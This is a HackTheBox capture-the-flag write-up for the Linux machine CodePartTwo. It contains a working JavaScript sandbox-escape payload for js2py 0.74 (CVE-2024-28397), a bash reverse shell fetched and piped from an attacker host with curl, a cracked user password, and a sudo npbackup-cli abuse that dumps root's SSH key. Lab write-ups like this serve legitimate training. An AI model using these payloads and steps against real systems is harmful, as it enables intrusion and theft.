HTB: CodePartTwo Writeup

CodePartTwo - HackTheBox Writeup

Machine Information

AttributeDetails
NameCodePartTwo
OSLinux
DifficultyEasy
Points692
Release Date28th November 2025
IP Address10.10.11.82
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐☆☆☆

Summary

CodePartTwo is an Easy Linux machine featuring a vulnerable Flask-based web application with a JavaScript code editor powered by js2py 0.74. The initial foothold is gained by exploiting CVE-2024-28397, a critical sandbox escape vulnerability in js2py that allows remote code execution. After establishing a reverse shell as the app user, lateral movement is achieved by extracting password hashes from an SQLite database and cracking them to obtain SSH access as the marco user. Privilege escalation is then performed by leveraging the npbackup-cli utility, which runs with root privileges, to backup and extract the root SSH private key, enabling direct root access.

TL;DR: js2py RCE → SQLite password extraction → SSH lateral movement → npbackup-cli root backup → Root SSH key extraction → Root compromise


Reconnaissance

Port Scanning

Terminal window
# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.82 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumeration
nmap -p$ports -sC -sV 10.10.11.82

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open http Gunicorn 20.0.4

Two ports are open: SSH on port 22 and a web application served by Gunicorn on port 8000 with the title “Welcome to CodePartTwo”.

Service Enumeration

HTTP Service (Port 8000):

Upon visiting http://10.10.11.82:8000, we encounter a landing page for CodePartTwo, a web platform designed to assist developers in writing, saving, and running JavaScript code. The page presents three action buttons: LOGIN, REGISTER, and DOWNLOAD APP.

Clicking the DOWNLOAD APP button retrieves a ZIP archive containing the complete application source code.

Terminal window
unzip app.zip
cd app && ls -la

The extracted contents reveal a Flask application structure with:

  • app.py - main application file
  • requirements.txt - Python dependencies
  • instance/users.db - SQLite database
  • static/ and templates/ directories

Dependency Analysis:

Terminal window
cat requirements.txt

Output reveals critical dependencies:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

Vulnerability Assessment

The application relies on js2py version 0.74, which is vulnerable to CVE-2024-28397, a critical sandbox escape vulnerability. This vulnerability allows arbitrary Python code execution through specially crafted JavaScript payloads, completely bypassing the sandbox restrictions intended to isolate JavaScript execution.


Initial Foothold

Exploitation Path

Step 1: Account Creation

First, we register a new user account by clicking the REGISTER button and creating arbitrary credentials.

Step 2: Application Dashboard Access

After successful registration and login, we gain access to the application’s dashboard, which provides a built-in code editor for writing JavaScript code with a “Run Code” button to execute the code server-side.

Step 3: Source Code Analysis

Examining the Flask source code (app.py), we identify the vulnerable endpoint:

@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})

The application directly evaluates user-supplied JavaScript using js2py.eval_js() without any sanitization or validation.

Step 4: CVE-2024-28397 Exploitation

The CVE-2024-28397 vulnerability allows breaking out of the js2py sandbox by accessing Python’s built-in object hierarchy through JavaScript. We construct a payload that:

  1. Accesses the Object.getOwnPropertyNames() to break out of the sandbox
  2. Uses __getattribute__ to traverse the Python object hierarchy
  3. Finds the subprocess.Popen class
  4. Executes arbitrary system commands

Step 5: Reverse Shell Setup

First, create a reverse shell script:

cat > rev.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.89/4242 0>&1
EOF

Host it using Python:

Terminal window
python3 -m http.server 9000

Set up a Netcat listener:

Terminal window
nc -lnvp 4242

Step 6: Payload Delivery

Prepare the js2py sandbox escape payload with command execution:

let cmd = "curl http://10.10.14.89:9000/rev.sh | bash"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

Paste this payload into the code editor and click “Run Code”. The Netcat listener receives the reverse connection:

connect to [10.10.14.89] from (UNKNOWN) [10.10.11.82] 40086
app@codeparttwo:~/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)

Step 7: Shell Stabilization

Upgrade to a proper interactive shell:

Terminal window
script /dev/null -c /bin/bash

Privilege Escalation

Lateral Movement: Database Credential Extraction

Step 1: Database Discovery

Enumerate the application directory:

Terminal window
app@codeparttwo:~/app/instance$ ls -la
total 24
-rw-r--r-- 1 app app 16384 Jun 18 08:36 users.db

The SQLite database users.db contains user credentials.

Step 2: Database Interrogation

Query the database using sqlite3:

Terminal window
sqlite3 users.db
sqlite> .tables
code_snippet user
sqlite> select * from user;
1|marco|<redacted>
2|app|<redacted>
sqlite>

We discover two users with their password hashes. The hash for user marco is an MD5 hash.

Step 3: Hash Cracking

Using CrackStation (an online password hash lookup service), the MD5 hash for marco is successfully cracked, revealing the password: sweetangelbabylove

Step 4: SSH Access

With the recovered password, we authenticate via SSH:

Terminal window
ssh marco@10.10.11.82
# Password: sweetangelbabylove
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codeparttwo:~$ cat user.txt
<redacted>

Root Privilege Escalation

Step 1: Sudo Capability Enumeration

Check sudo permissions for the marco user:

Terminal window
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

The marco user can execute /usr/local/bin/npbackup-cli as root without requiring a password.

Step 2: Backup Configuration Analysis

Examine the existing backup configuration:

Terminal window
marco@codeparttwo:~$ cat npbackup.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri: __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list

The configuration currently backs up the /home/app/app/ directory.

Step 3: Tool Capability Review

Check the npbackup-cli help menu:

Terminal window
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli --help
usage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME]
[--repo-group REPO_GROUP] [-b] [-f] [-r RESTORE]
[-s] [--ls [LS]] [--find FIND] [--forget FORGET]
[--policy] [--housekeeping] [--quick-check]
[--full-check] [--check CHECK] [--prune] ...
optional arguments:
-c CONFIG_FILE, --config-file CONFIG_FILE
Path to alternative configuration file
(defaults to current dir/npbackup.conf)
--ls [LS] List backup contents
--dump DUMP Dump file contents from backup

The tool accepts an alternative configuration file via the -c flag and can list and dump backup contents with root privileges.

Step 4: Malicious Configuration Creation

Create a modified configuration that backs up the /root directory:

Terminal window
marco@codeparttwo:~$ cp npbackup.conf npbackup1.conf
marco@codeparttwo:~$ nano npbackup1.conf
# Edit the paths section:
backup_opts:
paths:
- /root
source_type: folder_list

Step 5: Root Directory Backup Execution

Execute the backup with root privileges using the modified configuration:

Terminal window
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup1.conf -b -f
2025-11-17 09:02:04,029 :: INFO :: npbackup 3.0.1-linux running as root
2025-11-17 09:02:05,334 :: WARNING :: Parameter --use-fs-snapshot was given
...
Files: 15 new, 0 changed, 0 unmodified
Dirs: 8 new, 0 changed, 0 unmodified
Added to the repository: 190.612 KiB (39.886 KiB stored)
...
snapshot 505cedc0 saved

Step 6: Backup Content Enumeration

List the contents of the backed-up root directory:

Terminal window
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup1.conf --ls
...
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.mysql_history
/root/.profile
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
...

We can see the root user’s SSH private key is included in the backup.

Step 7: SSH Private Key Extraction

Dump the root SSH private key from the backup:

Terminal window
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup1.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA9apNjja2/vuDV4aaVheXnLbCe7dJBI/l4Lhc0nQA5F9wGFxkvIEy
...
o85/zCvGKm/BYjoldz23CSOFrssSlEZUppA6JJkEovEaR3LW7b1pBIMu52f+64cUNgSWtH
kXQKJhgScWFD3dnPx6cJRLChJayc0FHz02KYGRP3KQIedpOJDAFF096MXhBT7W9ZO8Pen/
MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Step 8: Local Private Key Setup

Save the private key locally and set restrictive permissions:

Terminal window
# On attacker machine
cat > id_rsa <<'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
[paste the extracted key here]
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 id_rsa

Step 9: Root SSH Access

Connect to the target as root using the extracted private key:

Terminal window
ssh -i id_rsa root@10.10.11.82
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-entity)
Last login: Mon Nov 17 09:06:46 2025 from 10.10.14.89
root@codeparttwo:~# id
uid=0(root) gid=0(root) groups=0(root)
root@codeparttwo:~# cat /root/root.txt
<redacted>

Attack Chain Summary

Web Enumeration (Port 8000)
Source Code Download (app.zip)
Vulnerability Discovery (CVE-2024-28397 - js2py RCE)
Account Registration & Login
JavaScript Sandbox Escape Payload Delivery
Remote Code Execution (app user)
Reverse Shell Establishment
SQLite Database Extraction (users.db)
MD5 Hash Cracking (marco password)
SSH Lateral Movement (marco user)
Sudo Capability Discovery (npbackup-cli)
Malicious Backup Configuration Creation
Root Directory Backup Execution
SSH Private Key Extraction
Root SSH Authentication
Full System Compromise (root)

Tools Used

ToolPurpose
nmapNetwork port scanning and service enumeration
curlDownloading reverse shell payload
nc (netcat)Reverse shell listener
sqlite3SQLite database querying
CrackStationMD5 hash cracking
sshSecure shell access
sudoPrivilege elevation for npbackup-cli
Text Editor (nano/vi)Configuration file modification

Key Learnings

Techniques Practiced

  • Web application reconnaissance and source code analysis
  • Exploiting unsafe JavaScript evaluation (js2py sandbox bypass)
  • Constructing multi-stage payload delivery (HTTP-hosted reverse shell)
  • SQLite database querying and password hash extraction
  • Hash cracking for lateral movement
  • Identifying privilege escalation vectors via sudo capabilities
  • Leveraging backup utilities for unauthorized file access
  • SSH key-based authentication for root access

Lessons Learned

  1. Dependency Vulnerabilities Matter: Always review application dependencies for known CVEs. The specific version of js2py (0.74) was vulnerable to sandbox escape—a common issue when using JavaScript engines in server-side contexts.

  2. Source Code Review is Critical: The ability to download and review the source code immediately revealed the vulnerable endpoint and allowed us to understand the attack surface before exploitation.

  3. Database Credentials are Gold: SQLite databases storing plaintext or weak password hashes present a direct path to lateral movement. Never store credentials without proper hashing algorithms (bcrypt, Argon2).

  4. Backup Tools as Privilege Escalation Vectors: Backup utilities running with elevated privileges can become powerful attack vectors if they allow arbitrary path specification without proper validation.

  5. Configuration File Manipulation: Tools that accept configuration file parameters should validate file ownership and permissions to prevent privilege escalation through malicious configurations.

  6. Chaining Multiple Vulnerabilities: This machine demonstrates the importance of chaining multiple vulnerabilities (RCE → credential extraction → privilege escalation) to achieve full system compromise.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>